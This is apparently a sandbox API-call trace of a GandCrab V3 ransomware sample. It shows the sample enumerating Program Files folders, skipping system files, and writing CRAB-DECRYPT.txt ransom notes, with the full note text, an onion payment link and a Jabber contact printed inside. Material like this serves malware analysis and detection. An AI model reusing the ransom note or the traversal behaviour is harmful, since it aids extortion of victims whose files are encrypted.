	[0090.498] CloseHandle (hObject=0x3d0) returned 1
	[0090.499] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.499] lstrlenW (lpString="C:\\Program Files\\") returned 17
	[0090.499] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*" | out: lpString1="C:\\Program Files\\*") returned="C:\\Program Files\\*"
	[0090.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd47ec0
	[0090.499] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.499] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.499] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.499] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.499] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.499] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1
	[0090.499] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1
	[0090.499] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Common Files" | out: lpString1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0090.499] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.499] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.499] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.500] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Program Files\\CRAB-DECRYPT.txt") returned="C:\\Program Files\\CRAB-DECRYPT.txt"
	[0090.500] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.500] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Program Files\\CRAB-DECRYPT.txt") returned 33
	[0090.500] lstrlenW (lpString="C:\\Program Files\\CRAB-DECRYPT.txt") returned 33
	[0090.500] lstrlenW (lpString=".txt") returned 4
	[0090.500] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.500] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.500] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.501] lstrlenW (lpString="C:\\Program Files\\CRAB-DECRYPT.txt") returned 33
	[0090.501] lstrlenW (lpString="C:\\Program Files\\CRAB-DECRYPT.txt") returned 33
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.501] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.501] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.501] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.501] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0090.501] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0090.501] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="desktop.ini" | out: lpString1="C:\\Program Files\\desktop.ini") returned="C:\\Program Files\\desktop.ini"
	[0090.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.501] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Program Files\\desktop.ini") returned 28
	[0090.502] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0090.502] lstrlenW (lpString=".ini") returned 4
	[0090.502] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.502] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0090.502] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.502] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0090.502] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0090.502] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0090.502] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.502] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Internet Explorer" | out: lpString1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Java", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Java", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Java" | out: lpString1="C:\\Program Files\\Java") returned="C:\\Program Files\\Java"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Microsoft Office" | out: lpString1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Microsoft Office 15", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Microsoft Office 15", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Microsoft Office 15" | out: lpString1="C:\\Program Files\\Microsoft Office 15") returned="C:\\Program Files\\Microsoft Office 15"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="MSBuild" | out: lpString1="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Reference Assemblies" | out: lpString1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Uninstall Information" | out: lpString1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Defender" | out: lpString1="C:\\Program Files\\Windows Defender") returned="C:\\Program Files\\Windows Defender"
	[0090.503] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.503] lstrcmpW (lpString1="Windows Journal", lpString2=".") returned 1
	[0090.503] lstrcmpW (lpString1="Windows Journal", lpString2="..") returned 1
	[0090.503] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Journal" | out: lpString1="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Mail" | out: lpString1="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Media Player" | out: lpString1="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows Multimedia Platform", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows Multimedia Platform", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Multimedia Platform" | out: lpString1="C:\\Program Files\\Windows Multimedia Platform") returned="C:\\Program Files\\Windows Multimedia Platform"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows NT" | out: lpString1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Photo Viewer" | out: lpString1="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Portable Devices" | out: lpString1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="Windows Sidebar" | out: lpString1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="WindowsApps", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="WindowsApps", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="WindowsApps" | out: lpString1="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.504] lstrcmpW (lpString1="WindowsPowerShell", lpString2=".") returned 1
	[0090.504] lstrcmpW (lpString1="WindowsPowerShell", lpString2="..") returned 1
	[0090.504] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="WindowsPowerShell" | out: lpString1="C:\\Program Files\\WindowsPowerShell") returned="C:\\Program Files\\WindowsPowerShell"
	[0090.504] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0090.505] FindClose (in: hFindFile=0xd47ec0 | out: hFindFile=0xd47ec0) returned 1
	[0090.505] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.505] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1
	[0090.505] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1
	[0090.505] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0090.505] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0090.505] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.505] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.506] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.506] lstrcmpiW (lpString1="C:\\Program Files (x86)\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.506] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.506] lstrcmpiW (lpString1="C:\\Program Files (x86)\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.506] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.506] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Program Files (x86)\\\\CRAB-DECRYPT.txt") returned 40
	[0090.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\\\CRAB-DECRYPT.txt" (normalized: "c:\\program files (x86)\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0090.507] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.507] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
	[0090.507] CloseHandle (hObject=0x3d0) returned 1
	[0090.508] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.508] lstrlenW (lpString="C:\\Program Files (x86)\\") returned 23
	[0090.508] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*" | out: lpString1="C:\\Program Files (x86)\\*") returned="C:\\Program Files (x86)\\*"
	[0090.508] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd48280
	[0090.508] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.508] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.508] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.508] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.508] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.508] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1
	[0090.508] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1
	[0090.508] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe"
	[0090.509] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.509] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1
	[0090.509] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1
	[0090.509] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files"
	[0090.509] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.509] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.509] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.509] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Program Files (x86)\\CRAB-DECRYPT.txt") returned="C:\\Program Files (x86)\\CRAB-DECRYPT.txt"
	[0090.509] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.509] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Program Files (x86)\\CRAB-DECRYPT.txt") returned 39
	[0090.509] lstrlenW (lpString="C:\\Program Files (x86)\\CRAB-DECRYPT.txt") returned 39
	[0090.509] lstrlenW (lpString=".txt") returned 4
	[0090.509] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.509] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.509] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.510] lstrlenW (lpString="C:\\Program Files (x86)\\CRAB-DECRYPT.txt") returned 39
	[0090.510] lstrlenW (lpString="C:\\Program Files (x86)\\CRAB-DECRYPT.txt") returned 39
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.510] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.510] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.510] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.510] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0090.510] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0090.510] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="C:\\Program Files (x86)\\desktop.ini") returned="C:\\Program Files (x86)\\desktop.ini"
	[0090.510] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.511] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Program Files (x86)\\desktop.ini") returned 34
	[0090.511] lstrlenW (lpString="C:\\Program Files (x86)\\desktop.ini") returned 34
	[0090.511] lstrlenW (lpString=".ini") returned 4
	[0090.511] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.511] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0090.511] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.511] lstrlenW (lpString="C:\\Program Files (x86)\\desktop.ini") returned 34
	[0090.511] lstrlenW (lpString="C:\\Program Files (x86)\\desktop.ini") returned 34
	[0090.511] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0090.511] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Google", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Google", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.512] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1
	[0090.512] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1
	[0090.512] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail"
	[0090.512] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player"
